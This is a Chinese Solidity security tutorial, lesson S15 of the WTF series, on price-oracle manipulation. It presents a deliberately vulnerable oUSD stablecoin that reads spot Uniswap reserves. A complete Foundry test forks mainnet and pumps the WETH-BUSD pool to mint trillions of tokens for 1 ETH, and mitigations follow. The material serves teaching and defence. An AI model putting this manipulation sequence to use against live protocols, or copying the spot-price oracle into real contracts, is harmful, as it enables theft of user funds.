title: S15. 操纵预言机 tags: solidity security oracle WTF Solidity 合约安全: S15. 操纵预言机 我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 推特:@0xAAScience|@WTFAcademy 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity 这一讲,我们将介绍智能合约的操纵预言机攻击,并复现了一个攻击示例:用 兑换17万亿枚稳定币。仅2022年一年,操纵预言机攻击造成用户资产损失超过 2 亿美元。
title: S15. 操纵预言机 tags: - solidity - security - oracle
我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。
所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity
这一讲,我们将介绍智能合约的操纵预言机攻击,并复现了一个攻击示例:用1 ETH兑换17万亿枚稳定币。仅2022年一年,操纵预言机攻击造成用户资产损失超过 2 亿美元。
出于安全性的考虑,以太坊虚拟机(EVM)是一个封闭孤立的沙盒。在EVM上运行的智能合约可以接触链上信息,但无法主动和外界沟通获取链下信息。但是,这类信息对去中心化应用非常重要。
预言机(oracle)可以帮助我们解决这个问题,它从链下数据源获得信息,并将其添加到链上,供智能合约使用。
其中最常用的就是价格预言机(price oracle),它可以指代任何可以让你查询币价的数据源。典型用例:

如果预言机没有被开发者正确使用,会造成很大的安全隐患。
下面我们学习一个预言机漏洞的例子,oUSD 合约。该合约是一个稳定币合约,符合ERC20标准。类似合成资产平台Synthetix,用户可以在这个合约中零滑点的将 ETH 兑换为 oUSD(Oracle USD)。兑换价格由自定义的价格预言机(getPrice()函数)决定,这里采取的是Uniswap V2的 WETH-BUSD 的瞬时价格。在之后的攻击示例中,我们会看到这个预言机在使用闪电贷和大额资金的情况下非常容易被操纵。
oUSD合约包含7个状态变量,用来记录BUSD,WETH,UniswapV2工厂合约,和WETH-BUSD币对合约的地址。
oUSD合约主要包含3个函数:
ERC20 代币的名称和代号。getPrice():价格预言机,获取Uniswap V2的 WETH-BUSD 的瞬时价格,这也是漏洞所在。
// 获取ETH price function getPrice() public view returns (uint256 price) { // pair 交易对中储备 (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); // ETH 瞬时价格 price = reserve0/reserve1; }
swap():兑换函数,将 ETH 以预言机给定的价格兑换为 oUSD。合约代码:
contract oUSD is ERC20{ // 主网合约 address public constant FACTORY_V2 = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); IERC20 public weth = IERC20(WETH); IERC20 public busd = IERC20(BUSD); constructor() ERC20("Oracle USD","oUSD"){} // 获取ETH price function getPrice() public view returns (uint256 price) { // pair 交易对中储备 (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); // ETH 瞬时价格 price = reserve0/reserve1; } function swap() external payable returns (uint256 amount){ // 获取价格 uint price = getPrice(); // 计算兑换数量 amount = price * msg.value; // 铸造代币 _mint(msg.sender, amount); } }
我们针对有漏洞的价格预言机 getPrice() 函数进行攻击,步骤:
BUSD,可以是自有资金,也可以是闪电贷借款。在实现中,我们利用 Foundry 的 deal cheatcode 在本地网络上给自己铸造了 1_000_000 BUSDWETH-BUSD 池中使用BUSD大量买入 WETH。具体实现见攻击代码的 swapBUSDtoWETH() 函数。WETH-BUSD池中代币对比例失去了平衡,WETH 瞬时价格暴涨,这时我们调用 swap() 函数将 ETH 转换为 oUSD。WETH-BUSD 池中卖出第2步买入的 WETH,收回本金。这4步可以在一个交易中完成。
我们选用 Foundry 进行操纵预言机攻击的复现,因为它很快,并且可以创建主网的本地分叉,方便测试。如果你不了解 Foundry,可以阅读 WTF Solidity工具篇 T07: Foundry。
forge init Oracle cd Oracle forge install Openzeppelin/openzeppelin-contracts
.env 环境变量文件,并在其中添加主网rpc,用于创建本地测试网。MAINNET_RPC_URL= https://rpc.ankr.com/eth
Oracle.sol 和 Oracle.t.sol,分别复制到根目录的 src 和 test 文件夹下,然后使用下列命令启动攻击脚本。forge test -vv --match-test testOracleAttack
getPrice() 给出的 ETH1216 USD,是正常的。但在我们使用 1,000,000 BUSD 在 UniswapV2 的 WETH-BUSD 池子中买入 WETH 之后,预言机给出的价格被操纵为 17,979,841,782,699 USD。这时,我们可以轻松的用 1 ETH 兑换17万亿枚 oUSD,完成攻击。Running 1 test for test/Oracle.t.sol:OracleTest [PASS] testOracleAttack() (gas: 356524) Logs: 1. ETH Price (before attack): 1216 2. Swap 1,000,000 BUSD to WETH to manipulate the oracle 3. ETH price (after attack): 17979841782699 4. Minted 1797984178269 oUSD with 1 ETH (after attack) Test result: ok. 1 passed; 0 failed; finished in 262.94ms
攻击代码:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.21; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../src/Oracle.sol"; contract OracleTest is Test { address private constant alice = address(1); address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router router; IWETH private weth = IWETH(WETH); IBUSD private busd = IBUSD(BUSD); string MAINNET_RPC_URL; oUSD ousd; function setUp() public { MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); // fork指定区块 vm.createSelectFork(MAINNET_RPC_URL,16060405); router = IUniswapV2Router(ROUTER); ousd = new oUSD(); } //forge test --match-test testOracleAttack -vv function testOracleAttack() public { // 攻击预言机 // 0. 操纵预言机之前的价格 uint256 priceBefore = ousd.getPrice(); console.log("1. ETH Price (before attack): %s", priceBefore); // 给自己账户 1000000 BUSD uint busdAmount = 1_000_000 * 10e18; deal(BUSD, alice, busdAmount); // 2. 用busd买weth,推高瞬时价格 vm.prank(alice); busd.transfer(address(this), busdAmount); swapBUSDtoWETH(busdAmount, 1); console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); // 3. 操纵预言机之后的价格 uint256 priceAfter = ousd.getPrice(); console.log("3. ETH price (after attack): %s", priceAfter); // 4. 铸造oUSD ousd.swap{value: 1 ether}(); console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); } // Swap BUSD to WETH function swapBUSDtoWETH(uint amountIn, uint amountOutMin) public returns (uint amountOut) { busd.approve(address(router), amountIn); address[] memory path; path = new address[](2); path[0] = BUSD; path[1] = WETH; uint[] memory amounts = router.swapExactTokensForTokens( amountIn, amountOutMin, path, alice, block.timestamp ); // amounts[0] = BUSD amount, amounts[1] = WETH amount return amounts[1]; } }
知名区块链安全专家 samczsun 在一篇博客中总结了预言机操纵的预防方法,这里总结一下:
latestRoundData(),需要对返回结果进行校验,防止使用过时失效数据。这一讲,我们介绍了操纵预言机攻击,并攻击了一个有漏洞的合成稳定币合约,使用1 ETH兑换了17万亿稳定币,成为了世界首富(并没有)。